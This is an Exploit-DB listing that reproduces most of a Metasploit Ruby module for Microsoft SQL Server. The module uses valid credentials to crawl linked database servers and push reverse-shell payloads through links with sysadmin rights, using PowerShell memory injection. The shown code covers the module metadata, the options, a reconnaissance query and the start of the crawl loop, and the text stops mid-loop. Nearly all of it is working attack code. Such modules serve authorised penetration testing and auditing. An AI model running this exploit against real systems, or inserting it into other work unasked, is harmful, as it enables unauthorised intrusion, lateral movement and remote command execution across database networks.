Exploit-DB #23649
Description: Microsoft SQL Server - Database Link Crawling Command Execution (Metasploit)
Type: remote
Platform: windows
Date: 2012-12-25
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/exploit/mssql_commands'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::MSSQL
	include Msf::Auxiliary::Report
	include Msf::Exploit::CmdStagerVBS

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft SQL Server Database Link Crawling Command Execution',
			'Description'    => %q{
					This module can be used to crawl MS SQL Server database links and deploy
				Metasploit payloads through links configured with sysadmin privileges using a
				valid SQL Server Login.

					If you are attempting to obtain multiple reverse shells using this module we
				recommend setting the "DisablePayloadHandler" advanced option to "true", and setting
				up a multi/handler to run in the background as a job to support multiple incoming
				shells.

					If you are interested in deploying payloads to spefic servers this module also
				supports that functionality via the "DEPLOYLIST" option.

					Currently, the module is capable of delivering payloads to both 32bit and 64bit
				Windows systems via powershell memory injection methods based on Matthew Graeber's
				work. As a result, the target server must have powershell installed. By default,
				all of the crawl information is saved to a CSV formatted log file and MSF loot so
				that the tool can also be used for auditing without deploying payloads.
			},
			'Author'         =>
				[
					'Antti Rantasaari <antti.rantasaari[at]netspi.com>',
					'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
				],
			'Platform'      => [ 'win' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['URL', 'http://www.slideshare.net/nullbind/sql-server-exploitation-escalation-pilfering-appsec-usa-2012'],
					['URL','http://msdn.microsoft.com/en-us/library/ms188279.aspx'],
					['URL','http://www.exploit-monday.com/2011_10_16_archive.html']
				],
			'Platform'       => 'win',
			'DisclosureDate' => 'Jan 1 2000',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptBool.new('DEPLOY',       [false, 'Deploy payload via the sysadmin links', 'false']),
				OptString.new('DEPLOYLIST', [false,'Comma seperated list of systems to deploy to']),
				OptString.new('PASSWORD',   [true, 'The password for the specified username'])
			], self.class)

		register_advanced_options(
			[
				OptString.new('POWERSHELL_PATH', [true, 'Path to powershell.exe', "C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe"])
			], self.class)
	end

	def exploit
		# Display start time
		time1 = Time.new
		print_status("-------------------------------------------------")
		print_status("Start time : #{time1.inspect}")
		print_status("-------------------------------------------------")

		# Check if credentials are correct
		print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")

		if (not mssql_login_datastore)
			print_error("Invalid SQL Server credentials")
			print_status("-------------------------------------------------")
			return
		end

		# Define master array to keep track of enumerated database information
		masterList = Array.new
		masterList[0] = Hash.new			# Define new hash
		masterList[0]["name"] = ""			# Name of the current database server
		masterList[0]["db_link"] = ""		# Name of the linked database server
		masterList[0]["db_user"] = ""	 	# User configured on the database server link
		masterList[0]["db_sysadmin"] = ""	# Specifies if  the database user configured for the link has sysadmin privileges
		masterList[0]["db_version"] = ""	# Database version of the linked database server
		masterList[0]["db_os"] = ""			# OS of the linked database server
		masterList[0]["path"] = [[]]		# Link path used during crawl - all possible link paths stored
		masterList[0]["done"] = 0			# Used to determine if linked need to be crawled

		shelled = Array.new					# keeping track of shelled systems - multiple incoming sa links could result in multiple shells on one system

		# Setup query for gathering information from database servers
		versionQuery = "select @@servername,system_user,is_srvrolemember('sysadmin'),(REPLACE(REPLACE(REPLACE\
		(ltrim((select REPLACE((Left(@@Version,CHARINDEX('-',@@version)-1)),'Microsoft','')+ rtrim(CONVERT\
		(char(30), SERVERPROPERTY('Edition'))) +' '+ RTRIM(CONVERT(char(20), SERVERPROPERTY('ProductLevel')))+\
		CHAR(10))), CHAR(10), ''), CHAR(13), ''), CHAR(9), '')) as version, RIGHT(@@version, LEN(@@version)- 3 \
		-charindex (' ON ',@@VERSION)) as osver,is_srvrolemember('sysadmin'),(select count(srvname) from \
		master..sysservers where dataaccess=1 and srvname!=@@servername and srvproduct = 'SQL Server')as linkcount"

		# Create loot table to store configuration information from crawled database server links
		linked_server_table = Rex::Ui::Text::Table.new(
			'Header'  => 'Linked Server Table',
			'Ident'   => 1,
			'Columns' => ['db_server', 'db_version', 'db_os', 'link_server', 'link_user', 'link_privilege', 'link_version', 'link_os','link_state']
		)
		save_loot = ""

		# Start crawling through linked database servers
		while masterList.any? {|f| f["done"] == 0}
			# Find the first DB server that has not been crawled (not marked as done)
			server = masterList.detect {|f| f["done"] == 0}

			# Get configuration information from the database server
			sql = query_builder(server["path"].first,"",0,versionQuery)
			result = mssql_query(sql, false) if mssql_login_datastore
			parse_results = result[:rows]
			parse_results.each { |s|